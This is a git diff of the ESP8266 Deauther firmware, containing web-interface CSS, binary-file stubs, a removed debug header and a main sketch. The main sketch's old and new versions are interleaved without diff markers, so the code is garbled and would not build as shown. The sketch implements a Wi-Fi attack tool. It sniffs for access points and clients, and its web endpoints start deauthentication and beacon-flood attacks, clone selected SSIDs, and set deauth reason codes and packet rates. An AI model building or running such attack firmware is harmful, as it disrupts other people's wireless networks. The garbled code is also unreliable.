/* + one of the colors below
|
||||
(width will be set by the JS) */
|
||||
}
|
||||
.meter_green{
|
||||
background: #43B581;
|
||||
}
|
||||
.meter_orange{
|
||||
background: #FAA61A;
|
||||
}
|
||||
.meter_red{
|
||||
background: #F04747;
|
||||
}
|
||||
.meter_value{
|
||||
padding-left: 8px;
|
||||
}
|
||||
|
||||
|
||||
/* Tables */
|
||||
table {
|
||||
width: 100%;
|
||||
margin-bottom: 50px;
|
||||
}
|
||||
|
||||
th, td {
|
||||
padding: 10px 6px;
|
||||
text-align: left;
|
||||
border-bottom: 1px solid #5d5d5d;
|
||||
}
|
||||
|
||||
|
||||
/* Navigation bar */
|
||||
nav {
|
||||
display: block;
|
||||
padding: 8px 10px;
|
||||
background: #2f3136;
|
||||
}
|
||||
|
||||
nav a {
|
||||
color: #bfbfbf;
|
||||
padding: 0.5em;
|
||||
display: inline-block;
|
||||
text-decoration: none;
|
||||
}
|
||||
|
||||
nav a:hover{
|
||||
background: #36393f;
|
||||
color:#cecece;
|
||||
border-radius: 4px;
|
||||
}
|
||||
|
||||
/* Inputs and buttons */
|
||||
.upload-script, .button, button, input[type="submit"], input[type="reset"], input[type="button"] {
|
||||
display: inline-block;
|
||||
height: 38px;
|
||||
padding: 0 25px;
|
||||
color:#fff;
|
||||
text-align: center;
|
||||
font-size: 11px;
|
||||
font-weight: 600;
|
||||
line-height: 38px;
|
||||
letter-spacing: .1rem;
|
||||
text-transform: uppercase;
|
||||
text-decoration: none;
|
||||
white-space: nowrap;
|
||||
background: #2f3136;
|
||||
border-radius: 4px;
|
||||
border: none;
|
||||
cursor: pointer;
|
||||
box-sizing: border-box;
|
||||
}
|
||||
|
||||
button:hover, input[type="submit"]:hover, input[type="reset"]:hover, input[type="button"]:hover {
|
||||
background: #42444a;
|
||||
}
|
||||
|
||||
/* Forms */
|
||||
input[type="email"], input[type="number"], input[type="search"], input[type="text"], input[type="tel"], input[type="url"], input[type="password"], textarea, select {
|
||||
height: 38px;
|
||||
padding: 6px 10px; /* The 6px vertically centers text on FF, ignored by Webkit */
|
||||
background-color: #2f3136;
|
||||
border-radius: 4px;
|
||||
box-shadow: none;
|
||||
box-sizing: border-box;
|
||||
color: #d4d4d4;
|
||||
border: none;
|
||||
}
|
||||
|
||||
.setting {
|
||||
width: 100% !important;
|
||||
max-width: 284px !important;
|
||||
}
|
||||
|
||||
input[type="file"] {
|
||||
display: none;
|
||||
}
|
||||
|
||||
/* ==== GRID SYSTEM ==== */
|
||||
|
||||
.container {
|
||||
width: 100%;
|
||||
margin-left: auto;
|
||||
margin-right: auto;
|
||||
max-width: 1140px;
|
||||
}
|
||||
|
||||
.row {
|
||||
position: relative;
|
||||
width: 100%;
|
||||
}
|
||||
|
||||
.row [class^="col"] {
|
||||
float: left;
|
||||
margin: 0.25rem 2%;
|
||||
min-height: 0.125rem;
|
||||
}
|
||||
|
||||
.col-1,
|
||||
.col-2,
|
||||
.col-3,
|
||||
.col-4,
|
||||
.col-5,
|
||||
.col-6,
|
||||
.col-7,
|
||||
.col-8,
|
||||
.col-9,
|
||||
.col-10,
|
||||
.col-11,
|
||||
.col-12 {
|
||||
width: 96%;
|
||||
}
|
||||
|
||||
.row::after {
|
||||
content: "";
|
||||
display: table;
|
||||
clear: both;
|
||||
}
|
||||
|
||||
.hidden-sm {
|
||||
display: none;
|
||||
}
|
||||
|
||||
@media only screen and (min-width: 45em) {
|
||||
.col-1 {
|
||||
width: 4.33%;
|
||||
}
|
||||
|
||||
.col-2 {
|
||||
width: 12.66%;
|
||||
}
|
||||
|
||||
.col-3 {
|
||||
width: 21%;
|
||||
}
|
||||
|
||||
.col-4 {
|
||||
width: 29.33%;
|
||||
}
|
||||
|
||||
.col-5 {
|
||||
width: 37.66%;
|
||||
}
|
||||
|
||||
.col-6 {
|
||||
width: 46%;
|
||||
}
|
||||
|
||||
.col-7 {
|
||||
width: 54.33%;
|
||||
}
|
||||
|
||||
.col-8 {
|
||||
width: 62.66%;
|
||||
}
|
||||
|
||||
.col-9 {
|
||||
width: 71%;
|
||||
}
|
||||
|
||||
.col-10 {
|
||||
width: 79.33%;
|
||||
}
|
||||
|
||||
.col-11 {
|
||||
width: 87.66%;
|
||||
}
|
||||
|
||||
.col-12 {
|
||||
width: 96%;
|
||||
}
|
||||
|
||||
.hidden-sm {
|
||||
display: block;
|
||||
}
|
||||
}
|
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
@ -1,41 +0,0 @@
|
|||
/* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */
|
||||
|
||||
#pragma once
|
||||
|
||||
#include "config.h"
|
||||
|
||||
#include <climits> // LONG_MAX
|
||||
#include <Arduino.h> // Serial
|
||||
|
||||
#ifdef ENABLE_DEBUG
|
||||
|
||||
#define debug_init()\
|
||||
DEBUG_PORT.begin(DEBUG_BAUD);\
|
||||
DEBUG_PORT.setTimeout(LONG_MAX);\
|
||||
DEBUG_PORT.println();
|
||||
|
||||
#define debug(...) DEBUG_PORT.print(__VA_ARGS__)
|
||||
#define debugln(...) DEBUG_PORT.println(__VA_ARGS__)
|
||||
#define debugf(...) DEBUG_PORT.printf(__VA_ARGS__)
|
||||
#define debugF(...) DEBUG_PORT.print(F(__VA_ARGS__))
|
||||
#define debuglnF(...) DEBUG_PORT.println(F(__VA_ARGS__))
|
||||
|
||||
#define debug_available() DEBUG_PORT.available()
|
||||
#define debug_read() DEBUG_PORT.read()
|
||||
#define debug_peek() DEBUG_PORT.peek()
|
||||
|
||||
#else /* ifdef ENABLE_DEBUG */
|
||||
|
||||
#define debug_init() 0
|
||||
|
||||
#define debug(...) 0
|
||||
#define debugln(...) 0
|
||||
#define debugf(...) 0
|
||||
#define debugF(...) 0
|
||||
#define debuglnF(...) 0
|
||||
|
||||
#define debug_available() 0
|
||||
#define debug_read() 0
|
||||
#define debug_peek() 0
|
||||
|
||||
#endif /* ifdef ENABLE_DEBUG */
|
|
@ -1,196 +1,652 @@
|
|||
/* =====================
|
||||
This software is licensed under the MIT License:
|
||||
https://github.com/spacehuhntech/esp8266_deauther
|
||||
===================== */
|
||||
/*
|
||||
===========================================
|
||||
Copyright (c) 2017 Stefan Kremser
|
||||
github.com/spacehuhn
|
||||
===========================================
|
||||
*/
|
||||
|
||||
// Including some libraries we need //
|
||||
#include <Arduino.h>
|
||||
|
||||
#include <ESP8266WiFi.h>
|
||||
#include <ESP8266WebServer.h>
|
||||
#include <FS.h>
|
||||
|
||||
|
||||
// Settings //
|
||||
|
||||
#define USE_DISPLAY /* <-- uncomment that if you want to use the display */
|
||||
#define resetPin 4 /* <-- comment out or change if you need GPIO 4 for other purposes */
|
||||
#define USE_LED16 /* <-- for the Pocket ESP8266 which has a LED on GPIO 16 to indicate if it's running */
|
||||
|
||||
|
||||
// Including everything for the OLED //
|
||||
#ifdef USE_DISPLAY
|
||||
#include <Wire.h>
|
||||
|
||||
//include the library you need
|
||||
#include "SSD1306.h"
|
||||
#include "SH1106.h"
|
||||
|
||||
//create display(Adr, SDA-pin, SCL-pin)
|
||||
//SSD1306 display(0x3c, 5, 4); //GPIO 5 = D1, GPIO 4 = D2
|
||||
SH1106 display(0x3c, 5, 4);
|
||||
#include "screensaver.h"
|
||||
//button pins
|
||||
#define upBtn 12 //GPIO 12 = D6
|
||||
#define downBtn 13 //GPIO 13 = D7
|
||||
#define selectBtn 14 //GPIO 14 = D5
|
||||
#define displayBtn 0 //GPIO 0 = FLASH BUTTON
|
||||
|
||||
//render settings
|
||||
#define fontSize 8
|
||||
#define rowsPerSite 8
|
||||
|
||||
int rows = 4;
|
||||
int curRow = 0;
|
||||
int sites = 1;
|
||||
int curSite = 1;
|
||||
int lrow = 0;
|
||||
|
||||
int menu = 0; //0 = Main Menu, 1 = APs, 2 = Stations, 3 = Attacks, 4 = Monitor
|
||||
|
||||
bool canBtnPress = true;
|
||||
int buttonPressed = 0; //0 = UP, 1 = DOWN, 2 = SELECT, 3 = DISPLAY
|
||||
bool displayOn = true;
|
||||
#endif
|
||||
|
||||
// More Includes! //
|
||||
extern "C" {
|
||||
// Please follow this tutorial:
|
||||
// https://github.com/spacehuhn/esp8266_deauther/wiki/Installation#compiling-using-arduino-ide
|
||||
// And be sure to have the right board selected
|
||||
#include "user_interface.h"
|
||||
}
|
||||
|
||||
#include "EEPROMHelper.h"
|
||||
ESP8266WebServer server(80);
|
||||
|
||||
#include "src/ArduinoJson-v5.13.5/ArduinoJson.h"
|
||||
#if ARDUINOJSON_VERSION_MAJOR != 5
|
||||
// The software was build using ArduinoJson v5.x
|
||||
// version 6 is still in beta at the time of writing
|
||||
// go to tools -> manage libraries, search for ArduinoJSON and install version 5
|
||||
#error Please upgrade/downgrade ArduinoJSON library to version 5!
|
||||
#endif // if ARDUINOJSON_VERSION_MAJOR != 5
|
||||
|
||||
#include "oui.h"
|
||||
#include "language.h"
|
||||
#include "functions.h"
|
||||
#include "settings.h"
|
||||
#include "Names.h"
|
||||
#include "SSIDs.h"
|
||||
#include "Scan.h"
|
||||
#include <EEPROM.h>
|
||||
#include "data.h"
|
||||
#include "NameList.h"
|
||||
#include "APScan.h"
|
||||
#include "ClientScan.h"
|
||||
#include "Attack.h"
|
||||
#include "CLI.h"
|
||||
#include "DisplayUI.h"
|
||||
#include "A_config.h"
|
||||
#include "Settings.h"
|
||||
#include "SSIDList.h"
|
||||
|
||||
#include "led.h"
|
||||
/* ========== DEBUG ========== */
|
||||
const bool debug = true;
|
||||
/* ========== DEBUG ========== */
|
||||
|
||||
// Run-Time Variables //
|
||||
Names names;
|
||||
SSIDs ssids;
|
||||
Accesspoints accesspoints;
|
||||
Stations stations;
|
||||
Scan scan;
|
||||
String wifiMode = "";
|
||||
String attackMode_deauth = "";
|
||||
String attackMode_beacon = "";
|
||||
String scanMode = "SCAN";
|
||||
|
||||
bool warning = true;
|
||||
|
||||
NameList nameList;
|
||||
|
||||
APScan apScan;
|
||||
ClientScan clientScan;
|
||||
Attack attack;
|
||||
CLI cli;
|
||||
DisplayUI displayUI;
|
||||
Settings settings;
|
||||
SSIDList ssidList;
|
||||
|
||||
simplebutton::Button* resetButton;
|
||||
void sniffer(uint8_t *buf, uint16_t len) {
|
||||
clientScan.packetSniffer(buf, len);
|
||||
}
|
||||
|
||||
#include "wifi.h"
|
||||
#ifdef USE_DISPLAY
|
||||
void drawInterface() {
|
||||
if(displayOn){
|
||||
|
||||
display.clear();
|
||||
|
||||
uint32_t autosaveTime = 0;
|
||||
uint32_t currentTime = 0;
|
||||
int _lrow = 0;
|
||||
for (int i = curSite * rowsPerSite - rowsPerSite; i < curSite * rowsPerSite; i++) {
|
||||
if (i == 0) display.drawString(3, i * fontSize, "-> WiFi " + wifiMode);
|
||||
else if (i == 1) display.drawString(3, i * fontSize, "-> " + scanMode);
|
||||
else if (i == 2) display.drawString(3, i * fontSize, "-> " + attackMode_deauth + " deauth");
|
||||
else if (i == 3) display.drawString(3, i * fontSize, "-> " + attackMode_beacon + " beacon flood");
|
||||
else if (i - 4 < apScan.results) {
|
||||
display.drawString(4, _lrow * fontSize, apScan.getAPName(i - 4));
|
||||
if (apScan.isSelected(i - 4)) {
|
||||
display.drawVerticalLine(1, _lrow * fontSize, fontSize);
|
||||
display.drawVerticalLine(2, _lrow * fontSize, fontSize);
|
||||
}
|
||||
}
|
||||
if (_lrow == lrow) display.drawVerticalLine(0, _lrow * fontSize, fontSize);
|
||||
_lrow++;
|
||||
}
|
||||
|
||||
display.display();
|
||||
}
|
||||
}
|
||||
#endif
|
||||
|
||||
bool booted = false;
|
||||
void startWifi() {
|
||||
Serial.println("\nStarting WiFi AP:");
|
||||
WiFi.mode(WIFI_STA);
|
||||
wifi_set_promiscuous_rx_cb(sniffer);
|
||||
WiFi.softAP((const char*)settings.ssid.c_str(), (const char*)settings.password.c_str(), settings.apChannel, settings.ssidHidden); //for an open network without a password change to: WiFi.softAP(ssid);
|
||||
Serial.println("SSID : '" + settings.ssid+"'");
|
||||
Serial.println("Password : '" + settings.password+"'");
|
||||
Serial.println("-----------------------------------------------");
|
||||
if (settings.password.length() < 8) Serial.println("WARNING: password must have at least 8 characters!");
|
||||
if (settings.ssid.length() < 1 || settings.ssid.length() > 32) Serial.println("WARNING: SSID length must be between 1 and 32 characters!");
|
||||
wifiMode = "ON";
|
||||
}
|
||||
|
||||
void stopWifi() {
|
||||
Serial.println("stopping WiFi AP");
|
||||
Serial.println("-----------------------------------------------");
|
||||
WiFi.disconnect();
|
||||
wifi_set_opmode(STATION_MODE);
|
||||
wifiMode = "OFF";
|
||||
}
|
||||
|
||||
void load404() {
|
||||
if(loadFromFlash(server.uri())) return;
|
||||
sendSPIFFSFile("/error.html", "text/html");
|
||||
}
|
||||
|
||||
void startWiFi(bool start) {
|
||||
if (start) startWifi();
|
||||
else stopWifi();
|
||||
clientScan.clearList();
|
||||
}
|
||||
|
||||
//==========AP-Scan==========
|
||||
void startAPScan() {
|
||||
scanMode = "scanning...";
|
||||
#ifdef USE_DISPLAY
|
||||
drawInterface();
|
||||
#endif
|
||||
if (apScan.start()) {
|
||||
|
||||
#ifdef USE_DISPLAY
|
||||
apScan.sort();
|
||||
rows = 4;
|
||||
rows += apScan.results;
|
||||
sites = rows / rowsPerSite;
|
||||
if (rows % rowsPerSite > 0) sites++;
|
||||
#endif
|
||||
|
||||
server.send ( 200, "text/json", "true");
|
||||
attack.stopAll();
|
||||
scanMode = "SCAN";
|
||||
}
|
||||
}
|
||||
|
||||
void sendAPResults() {
|
||||
apScan.sendResults();
|
||||
}
|
||||
|
||||
void selectAP() {
|
||||
if (server.hasArg("num")) {
|
||||
apScan.select(server.arg("num").toInt());
|
||||
server.send( 200, "text/json", "true");
|
||||
attack.stopAll();
|
||||
}
|
||||
}
|
||||
|
||||
//==========Client-Scan==========
|
||||
void startClientScan() {
|
||||
if (server.hasArg("time") && apScan.getFirstTarget() > -1 && !clientScan.sniffing) {
|
||||
server.send(200, "text/json", "true");
|
||||
clientScan.start(server.arg("time").toInt());
|
||||
attack.stopAll();
|
||||
} else server.send( 200, "text/json", "Error: no selected access point");
|
||||
}
|
||||
|
||||
void sendClientResults() {
|
||||
clientScan.send();
|
||||
}
|
||||
void sendClientScanTime() {
|
||||
server.send( 200, "text/json", (String)settings.clientScanTime );
|
||||
}
|
||||
|
||||
void selectClient() {
|
||||
if (server.hasArg("num")) {
|
||||
clientScan.select(server.arg("num").toInt());
|
||||
attack.stop(0);
|
||||
server.send( 200, "text/json", "true");
|
||||
}
|
||||
}
|
||||
|
||||
void addClientFromList(){
|
||||
if(server.hasArg("num")) {
|
||||
int _num = server.arg("num").toInt();
|
||||
clientScan.add(nameList.getMac(_num));
|
||||
|
||||
server.send( 200, "text/json", "true");
|
||||
}else server.send( 200, "text/json", "false");
|
||||
}
|
||||
|
||||
void setClientName() {
|
||||
if (server.hasArg("id") && server.hasArg("name")) {
|
||||
if(server.arg("name").length()>0){
|
||||
nameList.add(clientScan.getClientMac(server.arg("id").toInt()), server.arg("name"));
|
||||
server.send( 200, "text/json", "true");
|
||||
}
|
||||
else server.send( 200, "text/json", "false");
|
||||
}
|
||||
}
|
||||
|
||||
void deleteName() {
|
||||
if (server.hasArg("num")) {
|
||||
int _num = server.arg("num").toInt();
|
||||
nameList.remove(_num);
|
||||
server.send( 200, "text/json", "true");
|
||||
}else server.send( 200, "text/json", "false");
|
||||
}
|
||||
|
||||
void clearNameList() {
|
||||
nameList.clear();
|
||||
server.send( 200, "text/json", "true" );
|
||||
}
|
||||
|
||||
void editClientName() {
|
||||
if (server.hasArg("id") && server.hasArg("name")) {
|
||||
nameList.edit(server.arg("id").toInt(), server.arg("name"));
|
||||
server.send( 200, "text/json", "true");
|
||||
}else server.send( 200, "text/json", "false");
|
||||
}
|
||||
|
||||
void addClient(){
|
||||
if(server.hasArg("mac") && server.hasArg("name")){
|
||||
String macStr = server.arg("mac");
|
||||
macStr.replace(":","");
|
||||
Serial.println("add "+macStr+" - "+server.arg("name"));
|
||||
if(macStr.length() < 12 || macStr.length() > 12) server.send( 200, "text/json", "false");
|
||||
else{
|
||||
Mac _newClient;
|
||||
for(int i=0;i<6;i++){
|
||||
const char* val = macStr.substring(i*2,i*2+2).c_str();
|
||||
uint8_t valByte = strtoul(val, NULL, 16);
|
||||
Serial.print(valByte,HEX);
|
||||
Serial.print(":");
|
||||
_newClient.setAt(valByte,i);
|
||||
}
|
||||
Serial.println();
|
||||
nameList.add(_newClient,server.arg("name"));
|
||||
server.send( 200, "text/json", "true");
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
//==========Attack==========
|
||||
void sendAttackInfo() {
|
||||
attack.sendResults();
|
||||
}
|
||||
|
||||
void startAttack() {
|
||||
if (server.hasArg("num")) {
|
||||
int _attackNum = server.arg("num").toInt();
|
||||
if (apScan.getFirstTarget() > -1 || _attackNum == 1 || _attackNum == 2) {
|
||||
attack.start(server.arg("num").toInt());
|
||||
server.send ( 200, "text/json", "true");
|
||||
} else server.send( 200, "text/json", "false");
|
||||
}
|
||||
}
|
||||
|
||||
void addSSID() {
|
||||
if(server.hasArg("ssid") && server.hasArg("num") && server.hasArg("enc")){
|
||||
int num = server.arg("num").toInt();
|
||||
if(num > 0){
|
||||
ssidList.addClone(server.arg("ssid"),num, server.arg("enc") == "true");
|
||||
}else{
|
||||
ssidList.add(server.arg("ssid"), server.arg("enc") == "true" || server.arg("enc") == "1");
|
||||
}
|
||||
attack.ssidChange = true;
|
||||
server.send( 200, "text/json", "true");
|
||||
}else server.send( 200, "text/json", "false");
|
||||
}
|
||||
|
||||
void cloneSelected(){
|
||||
if(apScan.selectedSum > 0){
|
||||
int clonesPerSSID = 48/apScan.selectedSum;
|
||||
ssidList.clear();
|
||||
for(int i=0;i<apScan.results;i++){
|
||||
if(apScan.isSelected(i)){
|
||||
ssidList.addClone(apScan.getAPName(i),clonesPerSSID, apScan.getAPEncryption(i) != "none");
|
||||
}
|
||||
}
|
||||
}
|
||||
attack.ssidChange = true;
|
||||
server.send( 200, "text/json", "true");
|
||||
}
|
||||
|
||||
void deleteSSID() {
|
||||
ssidList.remove(server.arg("num").toInt());
|
||||
attack.ssidChange = true;
|
||||
server.send( 200, "text/json", "true");
|
||||
}
|
||||
|
||||
void randomSSID() {
|
||||
ssidList._random();
|
||||
attack.ssidChange = true;
|
||||
server.send( 200, "text/json", "true");
|
||||
}
|
||||
|
||||
void clearSSID() {
|
||||
ssidList.clear();
|
||||
attack.ssidChange = true;
|
||||
server.send( 200, "text/json", "true");
|
||||
}
|
||||
|
||||
void resetSSID() {
|
||||
ssidList.load();
|
||||
attack.ssidChange = true;
|
||||
server.send( 200, "text/json", "true");
|
||||
}
|
||||
|
||||
void saveSSID() {
|
||||
ssidList.save();
|
||||
server.send( 200, "text/json", "true");
|
||||
}
|
||||
|
||||
void restartESP() {
|
||||
server.send( 200, "text/json", "true");
|
||||
ESP.reset();
|
||||
}
|
||||
|
||||
void enableRandom(){
|
||||
attack.changeRandom(server.arg("interval").toInt());
|
||||
server.send( 200, "text/json", "true");
|
||||
}
|
||||
|
||||
//==========Settings==========
|
||||
void getSettings() {
|
||||
settings.send();
|
||||
}
|
||||
|
||||
void saveSettings() {
|
||||
if (server.hasArg("ssid")) settings.ssid = server.arg("ssid");
|
||||
if (server.hasArg("ssidHidden")) {
|
||||
if (server.arg("ssidHidden") == "false") settings.ssidHidden = false;
|
||||
else settings.ssidHidden = true;
|
||||
}
|
||||
if (server.hasArg("password")) settings.password = server.arg("password");
|
||||
if (server.hasArg("apChannel")) {
|
||||
if (server.arg("apChannel").toInt() >= 1 && server.arg("apChannel").toInt() <= 14) {
|
||||
settings.apChannel = server.arg("apChannel").toInt();
|
||||
}
|
||||
}
|
||||
if (server.hasArg("macAp")) {
|
||||
String macStr = server.arg("macAp");
|
||||
macStr.replace(":","");
|
||||
Mac tempMac;
|
||||
if(macStr.length() == 12){
|
||||
for(int i=0;i<6;i++){
|
||||
const char* val = macStr.substring(i*2,i*2+2).c_str();
|
||||
uint8_t valByte = strtoul(val, NULL, 16);
|
||||
tempMac.setAt(valByte,i);
|
||||
}
|
||||
if(tempMac.valid()) settings.macAP.set(tempMac);
|
||||
} else if(macStr.length() == 0){
|
||||
settings.macAP.set(settings.defaultMacAP);
|
||||
}
|
||||
}
|
||||
if (server.hasArg("randMacAp")) {
|
||||
if (server.arg("randMacAp") == "false") settings.isMacAPRand = false;
|
||||
else settings.isMacAPRand = true;
|
||||
}
|
||||
if (server.hasArg("scanTime")) settings.clientScanTime = server.arg("scanTime").toInt();
|
||||
if (server.hasArg("timeout")) settings.attackTimeout = server.arg("timeout").toInt();
|
||||
if (server.hasArg("deauthReason")) settings.deauthReason = server.arg("deauthReason").toInt();
|
||||
if (server.hasArg("packetRate")) settings.attackPacketRate = server.arg("packetRate").toInt();
|
||||
if (server.hasArg("apScanHidden")) {
|
||||
if (server.arg("apScanHidden") == "false") settings.apScanHidden = false;
|
||||
else settings.apScanHidden = true;
|
||||
}
|
||||
if (server.hasArg("beaconInterval")) {
|
||||
if (server.arg("beaconInterval") == "false") settings.beaconInterval = false;
|
||||
else settings.beaconInterval = true;
|
||||
}
|
||||
if (server.hasArg("useLed")) {
|
||||
if (server.arg("useLed") == "false") settings.useLed = false;
|
||||
else settings.useLed = true;
|
||||
attack.refreshLed();
|
||||
}
|
||||
if (server.hasArg("channelHop")) {
|
||||
if (server.arg("channelHop") == "false") settings.channelHop = false;
|
||||
else settings.channelHop = true;
|
||||
}
|
||||
if (server.hasArg("multiAPs")) {
|
||||
if (server.arg("multiAPs") == "false") settings.multiAPs = false;
|
||||
else settings.multiAPs = true;
|
||||
}
|
||||
if (server.hasArg("multiAttacks")) {
|
||||
if (server.arg("multiAttacks") == "false") settings.multiAttacks = false;
|
||||
else settings.multiAttacks = true;
|
||||
}
|
||||
|
||||
if (server.hasArg("ledPin")) settings.setLedPin(server.arg("ledPin").toInt());
|
||||
if(server.hasArg("macInterval")) settings.macInterval = server.arg("macInterval").toInt();
|
||||
|
||||
settings.save();
|
||||
server.send( 200, "text/json", "true" );
|
||||
}
|
||||
|
||||
void resetSettings() {
|
||||
settings.reset();
|
||||
server.send( 200, "text/json", "true" );
|
||||
}
|
||||
|
||||
void setup() {
|
||||
// for random generator
|
||||
randomSeed(os_random());
|
||||
|
||||
// start serial
|
||||
Serial.begin(115200);
|
||||
Serial.println();
|
||||
randomSeed(os_random());
|
||||
|
||||
#ifdef USE_LED16
|
||||
pinMode(16, OUTPUT);
|
||||
digitalWrite(16, LOW);
|
||||
#endif
|
||||
|
||||
Serial.begin(115200);
|
||||
|
||||
attackMode_deauth = "START";
|
||||
attackMode_beacon = "START";
|
||||
|
||||
// start SPIFFS
|
||||
prnt(SETUP_MOUNT_SPIFFS);
|
||||
// bool spiffsError = !LittleFS.begin();
|
||||
LittleFS.begin();
|
||||
prntln(/*spiffsError ? SETUP_ERROR : */ SETUP_OK);
|
||||
EEPROM.begin(4096);
|
||||
SPIFFS.begin();
|
||||
|
||||
// Start EEPROM
|
||||
EEPROMHelper::begin(EEPROM_SIZE);
|
||||
settings.load();
|
||||
if (debug) settings.info();
|
||||
settings.syncMacInterface();
|
||||
nameList.load();
|
||||
ssidList.load();
|
||||
|
||||
#ifdef FORMAT_SPIFFS
|
||||
prnt(SETUP_FORMAT_SPIFFS);
|
||||
LittleFS.format();
|
||||
prntln(SETUP_OK);
|
||||
#endif // ifdef FORMAT_SPIFFS
|
||||
attack.refreshLed();
|
||||
|
||||
#ifdef FORMAT_EEPROM
|
||||
prnt(SETUP_FORMAT_EEPROM);
|
||||
EEPROMHelper::format(EEPROM_SIZE);
|
||||
prntln(SETUP_OK);
|
||||
#endif // ifdef FORMAT_EEPROM
|
||||
delay(500); // Prevent bssid leak
|
||||
|
||||
// Format SPIFFS when in boot-loop
|
||||
if (/*spiffsError || */ !EEPROMHelper::checkBootNum(BOOT_COUNTER_ADDR)) {
|
||||
prnt(SETUP_FORMAT_SPIFFS);
|
||||
LittleFS.format();
|
||||
prntln(SETUP_OK);
|
||||
startWifi();
|
||||
attack.stopAll();
|
||||
attack.generate();
|
||||
|
||||
prnt(SETUP_FORMAT_EEPROM);
|
||||
EEPROMHelper::format(EEPROM_SIZE);
|
||||
prntln(SETUP_OK);
|
||||
/* ========== Web Server ========== */
|
||||
|
||||
EEPROMHelper::resetBootNum(BOOT_COUNTER_ADDR);
|
||||
}
|
||||
/* HTML, css, js, json, juste serve everything on the flash */
|
||||
server.onNotFound(load404);
|
||||
|
||||
// get time
|
||||
currentTime = millis();
|
||||
/* JSON */
|
||||
server.on("/APScanResults.json", sendAPResults);
|
||||
server.on("/APScan.json", startAPScan);
|
||||
server.on("/APSelect.json", selectAP);
|
||||
server.on("/ClientScan.json", startClientScan);
|
||||
server.on("/ClientScanResults.json", sendClientResults);
|
||||
server.on("/ClientScanTime.json", sendClientScanTime);
|
||||
server.on("/clientSelect.json", selectClient);
|
||||
server.on("/setName.json", setClientName);
|
||||
server.on("/addClientFromList.json", addClientFromList);
|
||||
server.on("/attackInfo.json", sendAttackInfo);
|
||||
server.on("/attackStart.json", startAttack);
|
||||
server.on("/settings.json", getSettings);
|
||||
server.on("/settingsSave.json", saveSettings);
|
||||
server.on("/settingsReset.json", resetSettings);
|
||||
server.on("/deleteName.json", deleteName);
|
||||
server.on("/clearNameList.json", clearNameList);
|
||||
server.on("/editNameList.json", editClientName);
|
||||
server.on("/addSSID.json", addSSID);
|
||||
server.on("/cloneSelected.json", cloneSelected);
|
||||
server.on("/deleteSSID.json", deleteSSID);
|
||||
server.on("/randomSSID.json", randomSSID);
|
||||
server.on("/clearSSID.json", clearSSID);
|
||||
server.on("/resetSSID.json", resetSSID);
|
||||
server.on("/saveSSID.json", saveSSID);
|
||||
server.on("/restartESP.json", restartESP);
|
||||
server.on("/addClient.json",addClient);
|
||||
server.on("/enableRandom.json",enableRandom);
|
||||
|
||||
// load settings
|
||||
#ifndef RESET_SETTINGS
|
||||
settings::load();
|
||||
#else // ifndef RESET_SETTINGS
|
||||
settings::reset();
|
||||
settings::save();
|
||||
#endif // ifndef RESET_SETTINGS
|
||||
server.begin();
|
||||
|
||||
wifi::begin();
|
||||
wifi_set_promiscuous_rx_cb([](uint8_t* buf, uint16_t len) {
|
||||
scan.sniffer(buf, len);
|
||||
});
|
||||
#ifdef USE_DISPLAY
|
||||
display.init();
|
||||
display.flipScreenVertically();
|
||||
pinMode(upBtn, INPUT_PULLUP);
|
||||
pinMode(downBtn, INPUT_PULLUP);
|
||||
pinMode(selectBtn, INPUT_PULLUP);
|
||||
if(displayBtn == 0) pinMode(displayBtn, INPUT);
|
||||
else pinMode(displayBtn, INPUT_PULLUP);
|
||||
|
||||
// start display
|
||||
if (settings::getDisplaySettings().enabled) {
|
||||
displayUI.setup();
|
||||
displayUI.mode = DISPLAY_MODE::INTRO;
|
||||
}
|
||||
display.clear();
|
||||
display.setFont(ArialMT_Plain_16);
|
||||
display.drawString(0, 0, "ESP8266");
|
||||
display.setFont(ArialMT_Plain_24);
|
||||
display.drawString(0, 16, "Deauther");
|
||||
display.setFont(ArialMT_Plain_10);
|
||||
display.drawString(100, 28, "v");
|
||||
display.setFont(ArialMT_Plain_16);
|
||||
display.drawString(104, 24, "1.6");
|
||||
display.setFont(ArialMT_Plain_10);
|
||||
display.drawString(0, 40, "Copyright (c) 2017");
|
||||
display.drawString(0, 50, "Stefan Kremser");
|
||||
display.display();
|
||||
|
||||
// load everything else
|
||||
names.load();
|
||||
ssids.load();
|
||||
cli.load();
|
||||
display.setFont(Roboto_Mono_8);
|
||||
|
||||
delay(1600);
|
||||
#endif
|
||||
|
||||
// create scan.json
|
||||
scan.setup();
|
||||
#ifdef resetPin
|
||||
pinMode(resetPin, INPUT_PULLUP);
|
||||
if(digitalRead(resetPin) == LOW) settings.reset();
|
||||
#endif
|
||||
|
||||
// dis/enable serial command interface
|
||||
if (settings::getCLISettings().enabled) {
|
||||
cli.enable();
|
||||
} else {
|
||||
prntln(SETUP_SERIAL_WARNING);
|
||||
Serial.flush();
|
||||
Serial.end();
|
||||
}
|
||||
|
||||
// start access point/web interface
|
||||
if (settings::getWebSettings().enabled) wifi::startAP();
|
||||
|
||||
// STARTED
|
||||
prntln(SETUP_STARTED);
|
||||
|
||||
// version
|
||||
prntln(DEAUTHER_VERSION);
|
||||
|
||||
// setup LED
|
||||
led::setup();
|
||||
|
||||
// setup reset button
|
||||
resetButton = new ButtonPullup(RESET_BUTTON);
|
||||
if(debug){
|
||||
Serial.println("\nStarting...\n");
|
||||
#ifndef USE_DISPLAY
|
||||
delay(1600);
|
||||
#endif
|
||||
}
|
||||
}
|
||||
|
||||
void loop() {
|
||||
currentTime = millis();
|
||||
if (clientScan.sniffing) {
|
||||
if (clientScan.stop()) startWifi();
|
||||
} else {
|
||||
server.handleClient();
|
||||
attack.run();
|
||||
}
|
||||
|
||||
led::update(); // update LED color
|
||||
wifi::update(); // manage access point
|
||||
attack.update(); // run attacks
|
||||
displayUI.update();
|
||||
cli.update(); // read and run serial input
|
||||
scan.update(); // run scan
|
||||
